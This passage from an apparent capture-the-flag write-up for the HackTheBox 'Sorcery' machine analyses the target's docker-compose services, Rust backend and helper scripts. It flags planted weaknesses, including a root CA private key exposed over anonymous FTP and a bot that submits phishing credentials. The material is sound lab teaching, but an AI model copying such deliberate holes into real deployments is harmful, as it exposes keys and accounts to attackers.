<p>After each command runs, it reads <code class="language-plaintext highlighter-rouge">/dns/entries</code>, serializes the new hosts as JSON, and publishes to the Kafka topic <code class="language-plaintext highlighter-rouge">get</code>:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">let</span> <span class="n">entries</span> <span class="o">=</span> <span class="nf">fetch_entries</span><span class="p">();</span>

<span class="nd">println!</span><span class="p">(</span><span class="s">"[*] Entries: {:?}"</span><span class="p">,</span> <span class="n">entries</span><span class="p">);</span>

<span class="k">let</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">value</span><span class="p">)</span> <span class="o">=</span> <span class="nn">serde_json</span><span class="p">::</span><span class="nf">to_string</span><span class="p">(</span><span class="o">&amp;</span><span class="n">entries</span><span class="p">)</span> <span class="k">else</span> <span class="p">{</span>
    <span class="k">continue</span><span class="p">;</span>
<span class="p">};</span>

<span class="n">producer</span>
    <span class="nf">.send</span><span class="p">(</span><span class="o">&amp;</span><span class="n">Record</span> <span class="p">{</span>
        <span class="n">key</span><span class="p">:</span> <span class="p">(),</span>
        <span class="n">value</span><span class="p">,</span>
        <span class="n">topic</span><span class="p">:</span> <span class="s">"get"</span><span class="p">,</span>
        <span class="n">partition</span><span class="p">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span>
    <span class="p">})</span>
    <span class="nf">.ok</span><span class="p">();</span>
</code></pre></div></div>

<p>The intended command to be sent over Kafka is <code class="language-plaintext highlighter-rouge">/dns/convert.sh</code>, a shell script in the repo that reads both <code class="language-plaintext highlighter-rouge">/dns/hosts</code> and <code class="language-plaintext highlighter-rouge">/dns/hosts-user</code>, splits each line into individual <code class="language-plaintext highlighter-rouge">ip hostname</code> pairs, and writes them into <code class="language-plaintext highlighter-rouge">/dns/entries</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
<span class="nv">entries_file</span><span class="o">=</span>/dns/entries
<span class="nv">hosts_files</span><span class="o">=(</span><span class="s2">"/dns/hosts"</span> <span class="s2">"/dns/hosts-user"</span><span class="o">)</span>

<span class="o">&gt;</span> <span class="nv">$entries_file</span>

<span class="k">for </span>hosts_file <span class="k">in</span> <span class="k">${</span><span class="nv">hosts_files</span><span class="p">[@]</span><span class="k">}</span><span class="p">;</span> <span class="k">do
  while </span><span class="nv">IFS</span><span class="o">=</span> <span class="nb">read</span> <span class="nt">-r</span> line<span class="p">;</span> <span class="k">do
    </span><span class="nv">key</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nv">$line</span> | <span class="nb">awk</span> <span class="s1">'{ print $1 }'</span><span class="si">)</span>
    <span class="nv">values</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nv">$line</span> | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">' '</span> <span class="nt">-f2-</span><span class="si">)</span>
    <span class="k">for </span>value <span class="k">in</span> <span class="nv">$values</span><span class="p">;</span> <span class="k">do
      </span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$key</span><span class="s2"> </span><span class="nv">$value</span><span class="s2">"</span> <span class="o">&gt;&gt;</span> <span class="nv">$entries_file</span>
    <span class="k">done
  done</span> &lt; <span class="nv">$hosts_file</span>
<span class="k">done</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">dnsmasq</code> is set up to run as a service in <code class="language-plaintext highlighter-rouge">supervisord.conf</code>:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[program:dnsmasq]</span><span class="w">
</span><span class="py">command</span><span class="p">=</span><span class="s">/usr/sbin/dnsmasq --no-daemon --addn-hosts /dns/hosts-user --addn-hosts /dns/hosts</span>
<span class="py">stdout_logfile</span><span class="p">=</span><span class="s">/proc/self/fd/1</span>
<span class="py">stdout_logfile_maxbytes</span><span class="p">=</span><span class="s">0</span>
<span class="py">redirect_stderr</span><span class="p">=</span><span class="s">true</span>
<span class="py">user</span><span class="p">=</span><span class="s">user</span>
</code></pre></div></div>

<p>It runs as user, and reads <code class="language-plaintext highlighter-rouge">/dns/hosts-user</code> and <code class="language-plaintext highlighter-rouge">/dns/hosts</code> on startup and uses those records.</p>

<h4 id="mailhog">MailHog</h4>

<p><code class="language-plaintext highlighter-rouge">mail</code> pulls a pinned image off Docker Hub:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">mail</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">mailhog/mailhog:v1.0.1</span>
</code></pre></div></div>

<p><a href="https://github.com/mailhog/MailHog">MailHog</a> is a developer SMTP server. It accepts any outbound mail the application tries to send on port 1025 and holds it in memory instead of delivering it, while exposing a web UI on port 8025 where developers can browse and inspect the captured messages. It’s commonly dropped into dev/staging environments so that features like password resets, email verification, or notifications can be exercised end-to-end without actually sending mail to real recipients.</p>

<h4 id="vsftpd">VSFTPd</h4>

<p><code class="language-plaintext highlighter-rouge">ftp</code> uses a community <a href="https://security.appspot.com/vsftpd.html">vsftpd</a> image from Docker Hub pinned to a specific commit hash:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">ftp</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">image</span><span class="pi">:</span> <span class="s">million12/vsftpd:cd94636</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">ANONYMOUS_ACCESS</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">LOG_STDOUT</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">./ftp/pub:/var/ftp/pub"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">./certificates/generated/RootCA.crt:/var/ftp/pub/RootCA.crt"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">./certificates/generated/RootCA.key:/var/ftp/pub/RootCA.key"</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/127.0.0.1/21"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ANONYMOUS_ACCESS: true</code> means the FTP server accepts logins as the <code class="language-plaintext highlighter-rouge">anonymous</code> user with no password, and <code class="language-plaintext highlighter-rouge">LOG_STDOUT: true</code> sends access logs to the container’s stdout (visible via <code class="language-plaintext highlighter-rouge">docker logs</code>). The <code class="language-plaintext highlighter-rouge">volumes</code> block is the interesting part: <code class="language-plaintext highlighter-rouge">./ftp/pub</code> from the host is mounted as the anonymous-accessible FTP root at <code class="language-plaintext highlighter-rouge">/var/ftp/pub</code>. The root certificate authority keypair is located in the <code class="language-plaintext highlighter-rouge">certificates</code> directory, which isn’t in the repo.</p>

<h4 id="gitea">Gitea</h4>

<p><code class="language-plaintext highlighter-rouge">gitea</code> is built from a local Dockerfile at <code class="language-plaintext highlighter-rouge">gitea/Dockerfile</code> (the <code class="language-plaintext highlighter-rouge">gitea/</code> directory isn’t in the repo either), which presumably starts from the upstream <a href="https://about.gitea.com/">Gitea</a> image and layers in some bootstrap configuration:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">gitea</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">build</span><span class="pi">:</span>
      <span class="na">dockerfile</span><span class="pi">:</span> <span class="s">gitea/Dockerfile</span>
      <span class="na">context</span><span class="pi">:</span> <span class="s">.</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">GITEA_USERNAME</span><span class="pi">:</span> <span class="s">${GITEA_USERNAME}</span>
      <span class="na">GITEA_PASSWORD</span><span class="pi">:</span> <span class="s">${GITEA_PASSWORD}</span>
      <span class="na">GITEA_EMAIL</span><span class="pi">:</span> <span class="s">${GITEA_EMAIL}</span>
      <span class="na">USER_UID</span><span class="pi">:</span> <span class="m">1000</span>
      <span class="na">USER_GID</span><span class="pi">:</span> <span class="m">1000</span>
      <span class="na">GITEA__service__DISABLE_REGISTRATION</span><span class="pi">:</span> <span class="kc">true</span>
      <span class="na">GITEA__openid__ENABLE_OPENID_SIGNIN</span><span class="pi">:</span> <span class="kc">false</span>
      <span class="na">GITEA__openid__ENABLE_OPENID_SIGNUP</span><span class="pi">:</span> <span class="kc">false</span>
      <span class="na">GITEA__security__INSTALL_LOCK</span><span class="pi">:</span> <span class="kc">true</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/127.0.0.1/3000"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">GITEA_USERNAME</code>, <code class="language-plaintext highlighter-rouge">GITEA_PASSWORD</code>, and <code class="language-plaintext highlighter-rouge">GITEA_EMAIL</code> are almost certainly credentials for an admin user that the Dockerfile/entrypoint provisions on first boot via <code class="language-plaintext highlighter-rouge">gitea admin user create</code>. The <code class="language-plaintext highlighter-rouge">GITEA__section__KEY</code> variables use Gitea’s <a href="https://docs.gitea.com/administration/config-cheat-sheet">env-var config override</a> convention (double underscore = section separator) and lock the instance down: <code class="language-plaintext highlighter-rouge">service.DISABLE_REGISTRATION=true</code> prevents anyone from signing up, both <code class="language-plaintext highlighter-rouge">openid.*</code> options turn off OpenID login, and <code class="language-plaintext highlighter-rouge">security.INSTALL_LOCK=true</code> prevents the web installer from being re-run (otherwise a fresh visitor could hit the install wizard and seize the instance). <code class="language-plaintext highlighter-rouge">USER_UID</code>/<code class="language-plaintext highlighter-rouge">USER_GID: 1000</code> set the filesystem ownership for repos and data. Gitea listens on port 3000 internally.</p>

<h4 id="mail-bot">Mail Bot</h4>

<p><code class="language-plaintext highlighter-rouge">mail_bot</code> is built from a local <code class="language-plaintext highlighter-rouge">mail_bot/</code> directory that isn’t in the repo, so I’m working from the compose definition alone:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">mail_bot</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">platform</span><span class="pi">:</span> <span class="s">linux/amd64</span>
    <span class="na">build</span><span class="pi">:</span> <span class="s">mail_bot</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">WAIT_HOSTS</span><span class="pi">:</span> <span class="s">mail:8025</span>
      <span class="na">MAILHOG_SERVER</span><span class="pi">:</span> <span class="s">${MAILHOG_SERVER}</span>
      <span class="na">CA_FILE</span><span class="pi">:</span> <span class="s">${CA_FILE}</span>
      <span class="na">EXPECTED_RECIPIENT</span><span class="pi">:</span> <span class="s">${EXPECTED_RECIPIENT}</span>
      <span class="na">EXPECTED_DOMAIN</span><span class="pi">:</span> <span class="s">${EXPECTED_DOMAIN}</span>
      <span class="na">MAIL_BOT_INTERVAL</span><span class="pi">:</span> <span class="s">${MAIL_BOT_INTERVAL}</span>
      <span class="na">SMTP_SERVER</span><span class="pi">:</span> <span class="s">${SMTP_SERVER}</span>
      <span class="na">SMTP_PORT</span><span class="pi">:</span> <span class="s">${SMTP_PORT}</span>
      <span class="na">PHISHING_USERNAME</span><span class="pi">:</span> <span class="s">${PHISHING_USERNAME}</span>
      <span class="na">PHISHING_PASSWORD</span><span class="pi">:</span> <span class="s">${PHISHING_PASSWORD}</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">./certificates/generated/RootCA.crt:/app/RootCA.crt"</span>
</code></pre></div></div>

<p>The env var names telegraph exactly what this container does. <code class="language-plaintext highlighter-rouge">WAIT_HOSTS: mail:8025</code> suggests it waits on MailHog’s web UI port, meaning it talks to MailHog’s HTTP API to read the captured inbox rather than acting as an SMTP server itself. <code class="language-plaintext highlighter-rouge">MAIL_BOT_INTERVAL</code> is a periodic poll interval. On each tick it presumably walks the MailHog inbox, and for any message where the recipient matches <code class="language-plaintext highlighter-rouge">EXPECTED_RECIPIENT</code> on <code class="language-plaintext highlighter-rouge">EXPECTED_DOMAIN</code>, it follows the links in the body. <code class="language-plaintext highlighter-rouge">PHISHING_USERNAME</code> and <code class="language-plaintext highlighter-rouge">PHISHING_PASSWORD</code> are credentials the bot will submit when it lands on a login form (classic “admin opens a phishing email” automation), and <code class="language-plaintext highlighter-rouge">SMTP_SERVER</code>/<code class="language-plaintext highlighter-rouge">SMTP_PORT</code> let it reply or send follow-up mail. The <code class="language-plaintext highlighter-rouge">RootCA.crt</code> mount at <code class="language-plaintext highlighter-rouge">/app/RootCA.crt</code> combined with <code class="language-plaintext highlighter-rouge">CA_FILE</code> means the bot is configured to trust the site’s self-signed CA when following HTTPS links.</p>

<h4 id="nginx">Nginx</h4>

<p><code class="language-plaintext highlighter-rouge">nginx</code> is the only container that actually exposes a port to the host:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">nginx</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">build</span><span class="pi">:</span> <span class="s">nginx</span>
    <span class="na">volumes</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">./nginx/nginx.conf:/etc/nginx/nginx.conf"</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">./certificates/generated:/etc/nginx/certificates"</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">WAIT_HOSTS</span><span class="pi">:</span> <span class="s">frontend:3000, gitea:3000</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/127.0.0.1/443"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
    <span class="na">ports</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s2">"</span><span class="s">443:443"</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">ports: - "443:443"</code> publishes container port 443 to the host’s 443, which matches the single TLS port <code class="language-plaintext highlighter-rouge">nmap</code> found from outside. The container waits on both <code class="language-plaintext highlighter-rouge">frontend:3000 and gitea:3000</code>. I don’t have access to the <code class="language-plaintext highlighter-rouge">nginx.conf</code> file, but almost certainly it handles the host-based routing to default to <code class="language-plaintext highlighter-rouge">sorcery.htb</code> and route <code class="language-plaintext highlighter-rouge">git</code> traffic to Gitea.</p>

<h4 id="frontend">Frontend</h4>

<p><code class="language-plaintext highlighter-rouge">frontend</code> is built from the <code class="language-plaintext highlighter-rouge">frontend/</code> directory in the repo, which I do have:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">frontend</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">build</span><span class="pi">:</span> <span class="s">frontend</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">WAIT_HOSTS</span><span class="pi">:</span> <span class="s">backend:8000</span>
      <span class="na">API_PREFIX</span><span class="pi">:</span> <span class="s">${API_PREFIX}</span>
      <span class="na">HOSTNAME</span><span class="pi">:</span> <span class="s">0.0.0.0</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/127.0.0.1/3000"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p>The directory contains a <code class="language-plaintext highlighter-rouge">package.json</code>, <code class="language-plaintext highlighter-rouge">next.config.mjs</code>, <code class="language-plaintext highlighter-rouge">tailwind.config.ts</code>, and a <code class="language-plaintext highlighter-rouge">src/</code> tree. This is a Next.js app (consistent with the <code class="language-plaintext highlighter-rouge">X-Powered-By: Next.js</code> response header seen earlier), styled with Tailwind:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">components.json  next.config.mjs  package-lock.json   public  tailwind.config.ts
Dockerfile       package.json     postcss.config.mjs  src     tsconfig.json
</span></code></pre></div></div>

<p>It waits for <code class="language-plaintext highlighter-rouge">backend:8000</code> to come up. Port 3000 is the standard Next.js production server port, reachable via the <code class="language-plaintext highlighter-rouge">nginx</code> reverse proxy at <code class="language-plaintext highlighter-rouge">sorcery.htb</code>.</p>

<h4 id="backend">Backend</h4>

<p><code class="language-plaintext highlighter-rouge">backend</code> is built from the <code class="language-plaintext highlighter-rouge">backend/</code> directory in the repo, with the build context set to the whole repo root (<code class="language-plaintext highlighter-rouge">context: .</code>) so the Dockerfile can also pull in the <code class="language-plaintext highlighter-rouge">backend-macros/</code> crate sitting next to it:</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="na">backend</span><span class="pi">:</span>
    <span class="na">restart</span><span class="pi">:</span> <span class="s">always</span>
    <span class="na">platform</span><span class="pi">:</span> <span class="s">linux/amd64</span>
    <span class="na">build</span><span class="pi">:</span>
      <span class="na">dockerfile</span><span class="pi">:</span> <span class="s">./backend/Dockerfile</span>
      <span class="na">context</span><span class="pi">:</span> <span class="s">.</span>
    <span class="na">environment</span><span class="pi">:</span>
      <span class="na">WAIT_HOSTS</span><span class="pi">:</span> <span class="s">neo4j:7687, kafka:9092</span>
      <span class="na">ROCKET_ADDRESS</span><span class="pi">:</span> <span class="s">0.0.0.0</span>
      <span class="na">DATABASE_HOST</span><span class="pi">:</span> <span class="s">${DATABASE_HOST}</span>
      <span class="na">DATABASE_USER</span><span class="pi">:</span> <span class="s">${DATABASE_USER}</span>
      <span class="na">DATABASE_PASSWORD</span><span class="pi">:</span> <span class="s">${DATABASE_PASSWORD}</span>
      <span class="na">INTERNAL_FRONTEND</span><span class="pi">:</span> <span class="s">http://frontend:3000</span>
      <span class="na">KAFKA_BROKER</span><span class="pi">:</span> <span class="s">${KAFKA_BROKER}</span>
      <span class="na">SITE_ADMIN_PASSWORD</span><span class="pi">:</span> <span class="s">${SITE_ADMIN_PASSWORD}</span>
    <span class="na">healthcheck</span><span class="pi">:</span>
      <span class="na">test</span><span class="pi">:</span> <span class="pi">[</span><span class="s2">"</span><span class="s">CMD"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">bash"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">-c"</span><span class="pi">,</span> <span class="s2">"</span><span class="s">cat</span><span class="nv"> </span><span class="s">&lt;</span><span class="nv"> </span><span class="s">/dev/null</span><span class="nv"> </span><span class="s">&gt;</span><span class="nv"> </span><span class="s">/dev/tcp/127.0.0.1/8000"</span><span class="pi">]</span>
      <span class="na">interval</span><span class="pi">:</span> <span class="s">5s</span>
      <span class="na">timeout</span><span class="pi">:</span> <span class="s">10s</span>
      <span class="na">retries</span><span class="pi">:</span> <span class="m">5</span>
</code></pre></div></div>

<p>The backend webserver is a Rust project using the <a href="https://rocket.rs/">Rocket</a> web framework app. It waits for <code class="language-plaintext highlighter-rouge">neo4j:7687</code> and <code class="language-plaintext highlighter-rouge">kafka:9092</code> before starting. The <code class="language-plaintext highlighter-rouge">DATABASE_*</code> env vars are the Neo4j connection information, <code class="language-plaintext highlighter-rouge">KAFKA_BROKER</code> is the broker address for publishing/consuming, <code class="language-plaintext highlighter-rouge">INTERNAL_FRONTEND: http://frontend:3000</code> is how the backend can reach the frontend from inside the network, and <code class="language-plaintext highlighter-rouge">SITE_ADMIN_PASSWORD</code> is presumably used to seed the built-in <code class="language-plaintext highlighter-rouge">admin</code> account I couldn’t register earlier.</p>

<p>This is one of the more complex codebases on a HTB machine. <code class="language-plaintext highlighter-rouge">main.rs</code> sets up the application, including:</p>

<ul>
  <li>Running the Neo4j migrations on startup</li>
  <li>Caching the admin user from Neo4j</li>
  <li>Registering the following mounts (like routes):
    <ul>
      <li><code class="language-plaintext highlighter-rouge">/api/auth/{register, login}</code>
        <ul>
          <li><code class="language-plaintext highlighter-rouge">/api/product/{get_one, get_all, insert_product}</code></li>
          <li><code class="language-plaintext highlighter-rouge">/api/webauthn/passkey/{start_registration, finish_registration, get, start_authentication,
  finish_authentication}</code></li>
          <li><code class="language-plaintext highlighter-rouge">/api/dns/{get_entries, update_dns}</code></li>
          <li><code class="language-plaintext highlighter-rouge">/api/debug/port_data</code></li>
          <li><code class="language-plaintext highlighter-rouge">/api/blog/get_blog_posts</code></li>
        </ul>
      </li>
    </ul>
  </li>
  <li>Creating a Kafka consumer connected to a Kafka broker which listens for messages and uses it to update its internal DNS cache:</li>
</ul>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="k">let</span> <span class="n">broker</span> <span class="o">=</span> <span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">var</span><span class="p">(</span><span class="s">"KAFKA_BROKER"</span><span class="p">)</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"KAFKA_BROKER"</span><span class="p">);</span>
    <span class="k">let</span> <span class="n">topic</span> <span class="o">=</span> <span class="s">"get"</span><span class="nf">.to_string</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">group</span> <span class="o">=</span> <span class="s">"get"</span><span class="nf">.to_string</span><span class="p">();</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">consumer</span> <span class="o">=</span> <span class="nn">Consumer</span><span class="p">::</span><span class="nf">from_hosts</span><span class="p">(</span><span class="nd">vec!</span><span class="p">[</span><span class="n">broker</span><span class="nf">.clone</span><span class="p">()])</span>
        <span class="nf">.with_topic</span><span class="p">(</span><span class="n">topic</span><span class="p">)</span>
        <span class="nf">.with_group</span><span class="p">(</span><span class="n">group</span><span class="p">)</span>
        <span class="nf">.with_fallback_offset</span><span class="p">(</span><span class="nn">FetchOffset</span><span class="p">::</span><span class="n">Earliest</span><span class="p">)</span>
        <span class="nf">.with_offset_storage</span><span class="p">(</span><span class="nf">Some</span><span class="p">(</span><span class="nn">GroupOffsetStorage</span><span class="p">::</span><span class="n">Kafka</span><span class="p">))</span>
        <span class="nf">.create</span><span class="p">()</span>
        <span class="nf">.unwrap_or_else</span><span class="p">(|</span><span class="n">_</span><span class="p">|</span> <span class="nd">panic!</span><span class="p">(</span><span class="s">"Kafka consumer: {broker}"</span><span class="p">));</span>

    <span class="nn">thread</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">move</span> <span class="p">||</span> <span class="k">loop</span> <span class="p">{</span>
        <span class="k">let</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">message_sets</span><span class="p">)</span> <span class="o">=</span> <span class="n">consumer</span><span class="nf">.poll</span><span class="p">()</span> <span class="k">else</span> <span class="p">{</span>
            <span class="k">continue</span><span class="p">;</span>
        <span class="p">};</span>

        <span class="k">for</span> <span class="n">message_set</span> <span class="k">in</span> <span class="n">message_sets</span><span class="nf">.iter</span><span class="p">()</span> <span class="p">{</span>
            <span class="k">for</span> <span class="n">message</span> <span class="k">in</span> <span class="n">message_set</span><span class="nf">.messages</span><span class="p">()</span> <span class="p">{</span>
                <span class="k">let</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">entries</span><span class="p">)</span> <span class="o">=</span> <span class="nn">serde_json</span><span class="p">::</span><span class="nn">from_slice</span><span class="p">::</span><span class="o">&lt;</span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">DnsEntry</span><span class="o">&gt;&gt;</span><span class="p">(</span><span class="n">message</span><span class="py">.value</span><span class="p">)</span> <span class="k">else</span> <span class="p">{</span>
                    <span class="k">continue</span><span class="p">;</span>
                <span class="p">};</span>

                <span class="n">DNS</span><span class="nf">.lock</span><span class="p">()</span><span class="nf">.unwrap</span><span class="p">()</span><span class="py">.entries</span> <span class="o">=</span> <span class="n">entries</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="n">consumer</span><span class="nf">.consume_messageset</span><span class="p">(</span><span class="n">message_set</span><span class="p">)</span><span class="nf">.ok</span><span class="p">();</span>
        <span class="p">}</span>
        <span class="n">consumer</span><span class="nf">.commit_consumed</span><span class="p">()</span><span class="nf">.ok</span><span class="p">();</span>
    <span class="p">});</span>
</code></pre></div></div>

<p>After the Kafka consumer thread is launched, <code class="language-plaintext highlighter-rouge">launch()</code> builds the Rocket app, registers the catchers, and <code class="language-plaintext highlighter-rouge">manage</code>s the shared state (<code class="language-plaintext highlighter-rouge">BrowserStore</code>, <code class="language-plaintext highlighter-rouge">PasskeyStore</code>, <code class="language-plaintext highlighter-rouge">WebauthnStore</code> configured for <code class="language-plaintext highlighter-rouge">rp_id = "sorcery.htb"</code>, and a <code class="language-plaintext highlighter-rouge">KafkaStore</code> holding a Kafka producer). It then mounts the route tree under <code class="language-plaintext highlighter-rouge">/api</code>: <code class="language-plaintext highlighter-rouge">/auth/{register, login}</code>, <code class="language-plaintext highlighter-rouge">/product/{get_one, get_all, insert_product}</code>, <code class="language-plaintext highlighter-rouge">/webauthn/passkey/{start_registration, finish_registration, get, start_authentication, finish_authentication}</code>, <code class="language-plaintext highlighter-rouge">/dns/{get_entries, update_dns}</code>, <code class="language-plaintext highlighter-rouge">/debug/port_data</code>, and <code class="language-plaintext highlighter-rouge">/blog/get_blog_posts</code>.</p>

<p>There’s also a <code class="language-plaintext highlighter-rouge">db/initial_data.rs</code> module that runs through <code class="language-plaintext highlighter-rouge">migrate(graph)</code> on first boot and seeds the database with the starting state of the app:</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">initial_data</span><span class="p">()</span> <span class="p">{</span>
    <span class="nn">dotenv</span><span class="p">::</span><span class="nf">dotenv</span><span class="p">()</span><span class="nf">.ok</span><span class="p">();</span>
    <span class="k">let</span> <span class="n">admin_password</span> <span class="o">=</span> <span class="nn">std</span><span class="p">::</span><span class="nn">env</span><span class="p">::</span><span class="nf">var</span><span class="p">(</span><span class="s">"SITE_ADMIN_PASSWORD"</span><span class="p">)</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"SITE_ADMIN_PASSWORD"</span><span class="p">);</span>
    <span class="k">let</span> <span class="n">admin</span> <span class="o">=</span> <span class="n">User</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="nn">Uuid</span><span class="p">::</span><span class="nf">new_v4</span><span class="p">()</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">username</span><span class="p">:</span> <span class="s">"admin"</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">password</span><span class="p">:</span> <span class="nf">create_hash</span><span class="p">(</span><span class="o">&amp;</span><span class="n">admin_password</span><span class="p">)</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"site admin hash"</span><span class="p">),</span>
        <span class="n">privilege_level</span><span class="p">:</span> <span class="nn">UserPrivilegeLevel</span><span class="p">::</span><span class="n">Admin</span><span class="p">,</span>
    <span class="p">};</span>
    <span class="n">admin</span><span class="nf">.save</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>

    <span class="n">Post</span> <span class="p">{</span>
        <span class="n">id</span><span class="p">:</span> <span class="nn">Uuid</span><span class="p">::</span><span class="nf">new_v4</span><span class="p">()</span><span class="nf">.to_string</span><span class="p">(),</span>
        <span class="n">title</span><span class="p">:</span> <span class="s">"Phishing Training"</span><span class="nf">.to_string</span><span class="p">(),</span>
